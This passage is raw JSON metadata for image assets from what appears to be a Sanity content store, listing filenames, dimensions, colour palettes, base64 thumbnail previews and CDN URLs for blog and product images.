ENzcbjtYajh00fFQr97ZFhv8Dp2tksTX67MLRqO73bvmRjLYrtm/A+NlvEF6PWYIyVCHD5VHl/w1HY/Jih+SPSqFd8g3yOSGrJ2X9tKz1yFpSfvbJr37/AsL4BQPrruuPAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#893e0f","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ce5e17","foreground":"#fff","population":0.4,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":14.49,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#935605","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fac277","foreground":"#000","population":0.41,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":14.49,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AivenForOpenSearch2.11.1.png","path":"images/sczeoy4w/production/62add3ece79cac95be25945d77ef73fb7f1a0522-1200x628.png","sha1hash":"62add3ece79cac95be25945d77ef73fb7f1a0522","size":170937,"uploadId":"25RMF7koxg5vtl9KY9DZm9MkVyR11xJ9","url":"https://cdn.sanity.io/images/sczeoy4w/production/62add3ece79cac95be25945d77ef73fb7f1a0522-1200x628.png"} {"_createdAt":"2023-01-17T10:11:43Z","_id":"image-62da093e059b5b2a353e386149b4fdeecdc790a7-1440x701-png","_rev":"QVKlH5eBAuS7vLyH5jen8t","_type":"sanity.imageAsset","_updatedAt":"2023-01-17T10:12:00Z","altText":"Screenshot of the Hookdeck interface showing requests being sent to the webhook.","assetId":"62da093e059b5b2a353e386149b4fdeecdc790a7","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.0542082738944365,"height":701,"width":1440},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAABcklEQVQokVVSSZLcMAzT/x+WR+SWVA7JjNuLxE2bkSK71VNzQFGiTYggkX78FPz6m0HEEFGoKlrrmHMGWmsQkcj7dz97JBKwGGobAas9kH5/Ki6yKHSYWcDPi3SM8UYfHdYqSJxQYdXrOlof6H0gZXomV3HvPeDFfr/v+xvGHOCqyCIgVqjVeDwenBOpkMBqxRgub0CtRetLSm3fz1obSBUkBrEWuR7du5KJJDGzFsmLDR9nweNi7JfgcfL7fGSN6DjJUFhDco1534ExbyTvzrU74U6EP/uOj+PC5+PCv+2MuB0F+0kRH0dBDkJBzgWihj6eZEFYQ+5zXqyKo2RkIuRScF05IrFv2cDsc/MRtbgX4ti0tYnW7yBOi2yOAVML+0Shk+aMUihs4mN5WkdebqjgkG3QmLmTTiT/qbpNzKAsYOZ3IbF3IGEj37yr0ZelfHGifv9aolsnbduG4zggRNCXgZdtFpZ9lid95l78tf2Fif9jygvDdhcRawAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#39414c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#235cb4","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5da480","foreground":"#fff","population":0.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9fcbb3","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#88c2fc","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5da480","foreground":"#fff","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3089f5","foreground":"#fff","population":0.08,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"requests-in-hookdeck.png","path":"images/sczeoy4w/production/62da093e059b5b2a353e386149b4fdeecdc790a7-1440x701.png","sha1hash":"62da093e059b5b2a353e386149b4fdeecdc790a7","size":171779,"title":null,"uploadId":"Hssb7BebbSqNj77CnrZNd5d7Kjq16PXl","url":"https://cdn.sanity.io/images/sczeoy4w/production/62da093e059b5b2a353e386149b4fdeecdc790a7-1440x701.png"} {"_createdAt":"2024-02-06T22:21:58Z","_id":"image-62eabbbe2f3a87f303cd6747b131504ffcc472f5-1080x1350-jpg","_rev":"aqN8LslQ3cZYmtCXIoCRMv","_type":"sanity.imageAsset","_updatedAt":"2024-02-06T22:21:58Z","assetId":"62eabbbe2f3a87f303cd6747b131504ffcc472f5","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"dFBCGJt75Tt61Jt6-Us.9vt5%1R,}=n%M|S2AXR,e;xY","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.8,"height":1350,"width":1080},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAZABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAYHBAX/xAAmEAACAgEEAQIHAAAAAAAAAAABAgADBAUGETEyEnEhNEFTcnOB/8QAFgEBAQEAAAAAAAAAAAAAAAAABAMF/8QAHBEAAgMBAAMAAAAAAAAAAAAAAQIAAxESIUFR/9oADAMBAAIRAxEAPwCIbhatKRRX3j5Len8TFh/I+879ty6lea6Me1zY6ngDo/WPW49m41Oi3CjFJy60VkVW5J57hWvWogH3LpQzgmSSE12UilyltTq47B+BhEdCT4aOeyN1UYV6Y+bh1hPuoOD/AGNGo7qCDIvw6AhRfVy55MklXmPeNL/I5v6RM62hO9+zWqvfjD5ycDV9Ss1LOfJu827hMBhHhQBggGYk6Z//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d4e3a","foreground":"#fff","population":1.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#611204","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4d4e3a","foreground":"#fff","population":1.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c2b7aa","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e68d51","foreground":"#000","population":0.83,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8c8d6d","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bd6021","foreground":"#fff","population":0.66,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"424459323_1054672319171481_8603571172839837336_n.jpg","path":"images/sczeoy4w/production/62eabbbe2f3a87f303cd6747b131504ffcc472f5-1080x1350.jpg","sha1hash":"62eabbbe2f3a87f303cd6747b131504ffcc472f5","size":125635,"uploadId":"rDjgA11vyXRLghPYZSaUhT853cfeYxvH","url":"https://cdn.sanity.io/images/sczeoy4w/production/62eabbbe2f3a87f303cd6747b131504ffcc472f5-1080x1350.jpg"} {"_createdAt":"2024-04-05T02:07:03Z","_id":"image-c4bfeb72c306acaf7f9e2c9e6f0665dd71cdd94e-500x300-png","_rev":"o6EKmUZPKElQbhROBpYyLa","_type":"sanity.imageAsset","_updatedAt":"2024-04-05T02:12:40Z","altText":null,"assetId":"c4bfeb72c306acaf7f9e2c9e6f0665dd71cdd94e","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MC6RNmxxRkWCWA%QtSWCWAjsT1kDjFaxjY","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6666666666666667,"height":300,"width":500},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAA7EAAAOxAGVKw4bAAACwklEQVQokZWQbW/bZBSG/RdgTeIkju3HdvwS101Sh7XZknWkK9M0oKhCGlPHNvoWmua1SdquTceKQKCyCZhGKz4wTZsGP/NCToqmfeTDJZ1zPzqXznMkM/8COzzDKZ2/T3iGVfgV3X+C6h6gukdoue8Q/mNU75CUtYdsDJCNPgmxi2wOUJxHSE74gvKNv6h99pobn79mafnNmKi+fvslC7f+oHrzGXPXTylVT5n/+Clh9SeMYETSfCedCA+Q3NLv1D59yfLdt3xx9y0r9/7my/v/sLIa9W9YWX3F8ld/Urv9Gx8t/MJs5ZRg7keEPyJp7SObw7E0kmfcIyQrf0p47TmVT865unRG9eY5C7fOqSw9p7z4jKtLTynXfqZQPsGaOR4PpbP7JM3BWJb478tGn7S9h5Txvkf3f8AOTsjnRwQzjzGnT1C9IxR7iOb0cN0Gnl0nY7aI611iWoukvkNGNFBEA1lvEtfbJM0WUip7TCo7wnP7LAabVPxtRHZAXAyI6V0Mo86Cc4drzh2E2BrL4loDIdYpWPcIzK9R9ChvIIttpKR1QMraJ+d0WAzWqE5vYdg9ZGMXWXRwsnVq/iqV3H2E1SQuOiS0HSxjnTlnlVk7Em4SU7+dCKMbpK0+Xq7H5WKXYnGI8IYkjR6a1cL324SzPYqlPZz8AYo9IG228bwmYaFNvtBFuE0SIhI2kOJ6CyXbxS8MKZUPKcyPMIM9UmYHw2mTD4eEV44JK08ILo/QvD6q3WW6OCCcf8TslUPcYo+UWSeh15Gmxqs20N0O2WAXc3oXxW6R0BukrSam38We6WPn+xh+j5TVJGVOcrfQxyv2MPwdZLFOXFtDuqSsEzGlbhBTo1tsMpXZmGSZi0y74OItqpXsNiLXRPcaKNYWCW1tIvww/YD/wwfpB1xSHpIUGyjZLRRrE1msEVMfEte+4V/TyqfzlqBpaQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#643e66","foreground":"#fff","population":0.47,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":12.69,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":12.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8394bf","foreground":"#fff","population":0.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#969fd3","foreground":"#000","population":0.86,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#646ca0","foreground":"#fff","population":2.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d85b2f","foreground":"#fff","population":0.68,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":[{"_ref":"Y8XrsvoJ4zglb1hB5GH1gM","_type":"reference","_weak":true}]}},"originalFilename":"The top two misconceptions Blog Infographic.png","path":"images/sczeoy4w/production/c4bfeb72c306acaf7f9e2c9e6f0665dd71cdd94e-500x300.png","sha1hash":"c4bfeb72c306acaf7f9e2c9e6f0665dd71cdd94e","size":58367,"title":"The top two misconceptions Blog Infographic","uploadId":"SrR2A7c0WRoEqd599xXqk2GtamDWlVky","url":"https://cdn.sanity.io/images/sczeoy4w/production/c4bfeb72c306acaf7f9e2c9e6f0665dd71cdd94e-500x300.png"} {"_createdAt":"2022-10-18T08:26:54Z","_id":"image-630c588249e963c2174dfd4770a10dfb636877a7-1454x654-png","_rev":"G0pc0w3atLgG0OfY87OBEo","_type":"sanity.imageAsset","_updatedAt":"2022-10-18T08:27:39Z","altText":null,"assetId":"630c588249e963c2174dfd4770a10dfb636877a7","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.223241590214067,"height":654,"width":1454},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAABYkAAAWJAGbFcYUAAABLUlEQVQokXWRy2ojMRBF+yPixG21pFKpXq1H7HYGJttAssgmfxLm/3eDbBOYCYGDQOieqqI0EWKEvIS8OJj3fnfvdvfu7nI+7L3z6CMF4CXSyAQMWPrzx/P75/b2Z4opj+ckATjcEuRBBpE8DDMAe6BxjRSTSvtdf73K8WWKFy1lS3lN2TIXpILcs3SSmsgANaJ8AVnJOpcNpU2YNQBDtoSWUNmarSfWTtLEho+0/gOvWWqWlqVM8TIPZIU0qrC22p+sHEnqlczlJ6Z5AR+JdIRiUuQi1ln7KP+zdpMfDtED63rUcmLrMnhkeyRt17Z43cJ/w1+Y9i6GJFZOazuvbSttW9tmdSNtY4VoEXX8ReLvTLODiGp1OLWfaz8Pv54SmfPpsMBhgdnB7OJ3/gKKHk0vidc/9AAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343c6c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#174176","foreground":"#fff","population":0.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#88aae5","foreground":"#000","population":0.21,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9c9494","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#88aae5","foreground":"#000","population":0.21,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a07c54","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c6cd0","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Screenshot 2022-10-17 at 15.13.40.png","path":"images/sczeoy4w/production/630c588249e963c2174dfd4770a10dfb636877a7-1454x654.png","sha1hash":"630c588249e963c2174dfd4770a10dfb636877a7","size":134257,"title":"Grafana 9 Prom query builder","uploadId":"j4BXfGgsexSiPWhbrW87SyHNL9CswL6a","url":"https://cdn.sanity.io/images/sczeoy4w/production/630c588249e963c2174dfd4770a10dfb636877a7-1454x654.png"} {"_createdAt":"2024-03-12T13:14:37Z","_id":"image-631344d2b78f654db0d9540c2f4a40240fdf4f35-3000x2400-jpg","_rev":"YZDTfZCd9Sx4xq41jg25HM","_type":"sanity.imageAsset","_updatedAt":"2024-03-12T13:14:37Z","assetId":"631344d2b78f654db0d9540c2f4a40240fdf4f35","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VAID?q}@000y}vABxZ-NE2$_0gIp^l%3bE55NH=_%1R%","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.25,"height":2400,"width":3000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAQABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUHBAb/xAAkEAACAQMDBAMBAAAAAAAAAAABAgMABAUHEhMGEUFRISIxQv/EABUBAQEAAAAAAAAAAAAAAAAAAAQF/8QAHBEAAgICAwAAAAAAAAAAAAAAAQIAAwQRITFR/9oADAMBAAIRAxEAPwDHpviIcrkna6UvFEPwe6eajdN2NjaGaxi43A3dvY81ymnOQu4yphQx88yKpb+x5qj9ZDmjvId6mQW52x0bIZqsjTdggR1Favik+yNLL8UUlbIhWZW+pB7EGiqpqdToiSAVPO5//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#29395d","foreground":"#fff","population":0.27,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#062179","foreground":"#fff","population":2.22,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f2b9a7","foreground":"#000","population":11.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8ac8f","foreground":"#000","population":2.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2b9a7","foreground":"#000","population":11.15,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#937355","foreground":"#fff","population":7.79,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1641b2","foreground":"#fff","population":1.35,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"amandalewis-headshot.jpg","path":"images/sczeoy4w/production/631344d2b78f654db0d9540c2f4a40240fdf4f35-3000x2400.jpg","sha1hash":"631344d2b78f654db0d9540c2f4a40240fdf4f35","size":3517237,"uploadId":"Aqn7fHHglcJb2jTSIpTfEz2bPWJdBIBs","url":"https://cdn.sanity.io/images/sczeoy4w/production/631344d2b78f654db0d9540c2f4a40240fdf4f35-3000x2400.jpg"} {"_createdAt":"2022-09-15T12:12:42Z","_id":"image-63168b94e4a170120dcd18a23804389df2aba577-24x24-svg","_rev":"4pG2it9AJU1nJxbjoEp4aw","_type":"sanity.imageAsset","_updatedAt":"2022-09-15T12:12:42Z","assetId":"63168b94e4a170120dcd18a23804389df2aba577","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADJ0lEQVQ4jW2VzWtYRRTFf4mJKNgixUSMFWsDkioFU6nUhdB0IbSulKaIUG3emTTWjRorLYjoRqtFxS+0IlSkEfxWJGrVrmpRQdxJV/4tc+TO3IQoXTyY92bm3HvPOfc+PIAPgAVV4KNtPeaBiSp2WRywOFTFobYe2BV7HhjzYr/Xnt3gI4AfgLYx0sBGXZh0Yc7iGYszFl9bnLe4YPGDxdkqjlvMtbNLjHoe6gLUPST61sxKTLuwaLFi8bPF5xZvW7yS3y5X8Y/FpXivcbYw7UXGnFgd8ChXNTCxbPG9xVdVnLC43+L2OjBlMW/xS2b5ZpzJs8sW26sYrUMAlvZMWi2zVYtzFgctpjww7mMt6DUWD2fZr1nstnjI4pMELRaToQc1yA0+xBdZypLFDS3QwHUWM7UH+NDiN4tnq9jiwuYq5mvnOOiYi9LjUmR3vIrLFn9bvGhxd1LwoMXrFt+lMMHnvpZxBBQ3W5xMvpddmAjAsMYHFn9Z/FrFTxbvWZyq4hv393ct5LBRZFYYCXtVMZ48h3jvW8ySPou0P7Y4ZnE6yf/T4keLp6rY6YHNdWC0+fbwupi4MOPCOynSflK982mNaQ/cYfF4ey8shMoWt1rsqGKrxbUeGPHCuqBTLpxKjPmNgPHxJj/GSIqyzeJGD9yZ1giTv5Dq7rDY1LqrJGDhvEsHXCs50p7xPvBStuLQLh2OgLUrfKF2a51OcTZdqeTZjP5ZEjwepURf1/CWeN7iosUbYRmLb5Pf5yxuu5IoE9m3If2JxskT0DgSW6p4MkV6tfZsP7L43eJpi7vanf/ZZs3YK5n2QReu96MN8OrM4Msq/nBpwBfTZkHVI7XfWXFhbzf2kXZxvfVqB+6t1wFvyb2zWVp49Gi228rG1quLvfVC+hhb07WruZrD4WRmt7MWZmtpIsynV192N/3qxuEQNHWDbmszMUqPjbXIa+MrFAyAlyzesvg0u+dcO1vY/p/xVe/rkzY+tCi9/OA0IodywVH4NEDCXmdcmgB7awga1cXdwLgnUGOxJzON8uOJiKWpH5ban6XGE+vZthdnhj6p2917+y/gX1Vup7h+UzWEAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#543434","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#872304","foreground":"#fff","population":1.56,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f86213","foreground":"#fff","population":5.21,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#962d02","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc743c","foreground":"#000","population":0.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a45c4c","foreground":"#fff","population":0.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f86213","foreground":"#fff","population":5.21,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-globe.svg","path":"images/sczeoy4w/production/63168b94e4a170120dcd18a23804389df2aba577-24x24.svg","sha1hash":"63168b94e4a170120dcd18a23804389df2aba577","size":1599,"uploadId":"6vUi3u9UCD8RLdmbjbMSLCxK2y7yYomU","url":"https://cdn.sanity.io/images/sczeoy4w/production/63168b94e4a170120dcd18a23804389df2aba577-24x24.svg"} {"_createdAt":"2022-11-17T13:39:03Z","_id":"image-6334f204765bec65c8d05d936671a3b365ce7b7e-1999x1143-png","_rev":"PJutSls1mvFq6xuKvwsAf3","_type":"sanity.imageAsset","_updatedAt":"2022-11-17T13:39:03Z","assetId":"6334f204765bec65c8d05d936671a3b365ce7b7e","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7489063867016623,"height":1143,"width":1999},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAABA0lEQVQokZ2S227EIAxE+f/vrPpQpeGOuYWp7C1Rks1WbS2NQIo5jIcorTXWdd1lrUXOGdu2YYyxi2vu+dtZY5eKwcNaIzCGa2NgnUeijNo3bBcgA1praK3KWluXPlZnYCkZwXtYY+Ccw6dxeFscPiwh1/4EnNDeOzqvoiHiXlVqRSJCSglEBBsJ7zph8UVuPY79GykfApz3iDEKNCVCSCQjl1JR61k85sz3rtSqNZZlkQx55BgDiB5u78QPxtBrDGM6ZMh8Ye/9fqD1/h3+WZzd0eG4OFV8qzFGXphH5gOvxrnWXZ+awFf/30+6dciQR3Zxd3c99JcSh+wuhCDAY9D/qS9feGFOrlhODwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5f5e5e","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#245474","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#698eb9","foreground":"#fff","population":0.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccb4b4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#87d4fc","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#698eb9","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3494cc","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"image7.png","path":"images/sczeoy4w/production/6334f204765bec65c8d05d936671a3b365ce7b7e-1999x1143.png","sha1hash":"6334f204765bec65c8d05d936671a3b365ce7b7e","size":234821,"uploadId":"qhGo7m34oo5en7vnuReMZV3TfjkJIQTO","url":"https://cdn.sanity.io/images/sczeoy4w/production/6334f204765bec65c8d05d936671a3b365ce7b7e-1999x1143.png"} {"_createdAt":"2023-09-04T14:15:28Z","_id":"image-63678bdc82de4708887de26c63c2d575f2b7cfe7-980x632-jpg","_rev":"sAH9dIF2hxm5rMZ55T7oqT","_type":"sanity.imageAsset","_updatedAt":"2023-09-04T14:15:28Z","assetId":"63678bdc82de4708887de26c63c2d575f2b7cfe7","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VfIhjc=^E1I:WE_Ns:NGR*R*ESW=R,s.s.E4t6ofjuoJ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5506329113924051,"height":632,"width":980},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAcEBQb/xAAjEAACAQMEAQUAAAAAAAAAAAACAwEABAUGESExEhMUIzKS/8QAFgEBAQEAAAAAAAAAAAAAAAAABQAD/8QAHREAAgEEAwAAAAAAAAAAAAAAAQIAAxJTkQQRIv/aAAwDAQACEQMRAD8AaWmbvHjHkcyAxFQc1ksJcG2Dale87fJFKdedvzuhn1pgR6COqqdXOaQqaxhkTZ634itKAe/pmlyAop+Vm9fjcGTSL3SeeeKKUi17j9z/AFRSlr5DqEWpjG5//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f3c4f","foreground":"#fff","population":0.57,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#084a77","foreground":"#fff","population":2.8,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f2d4c2","foreground":"#000","population":5.04,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2bca8","foreground":"#000","population":3.4,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2d4c2","foreground":"#000","population":5.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6492b4","foreground":"#fff","population":3.98,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3b84bc","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Plane_Wing.jpg","path":"images/sczeoy4w/production/63678bdc82de4708887de26c63c2d575f2b7cfe7-980x632.jpg","sha1hash":"63678bdc82de4708887de26c63c2d575f2b7cfe7","size":628777,"uploadId":"KNj0d0NO8pALbqzJ1xrkbshd6KU9f4ig","url":"https://cdn.sanity.io/images/sczeoy4w/production/63678bdc82de4708887de26c63c2d575f2b7cfe7-980x632.jpg"} {"_createdAt":"2023-02-13T13:58:58Z","_id":"image-63a676d4b614586ed8de8811de4c53ad9852deac-1567x844-jpg","_rev":"q6IvLca7BfVqZtRwcQCLdB","_type":"sanity.imageAsset","_updatedAt":"2023-02-13T14:49:02Z","altText":"Create your own data stream for Kafka with Python and Faker","assetId":"63a676d4b614586ed8de8811de4c53ad9852deac","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAIBBAUH/8QAIRAAAQMDBAMAAAAAAAAAAAAAAQACAwQRIQUSFDEVIlH/xAAXAQADAQAAAAAAAAAAAAAAAAACAwUG/8QAFhEBAQEAAAAAAAAAAAAAAAAAAAEC/9oADAMBAAIRAxEAPwDlnP0uGlY4QRySAAFu3N/qr+Wotrr6e3N84WLUdM66SuPqFp5mIt1Svy4kCwJQoKEZb//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d3765","foreground":"#fff","population":1.33,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":60.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":60.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4bcd8","foreground":"#000","population":0.53,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#98aae8","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5f7494","foreground":"#fff","population":1.43,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b3474a","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"origin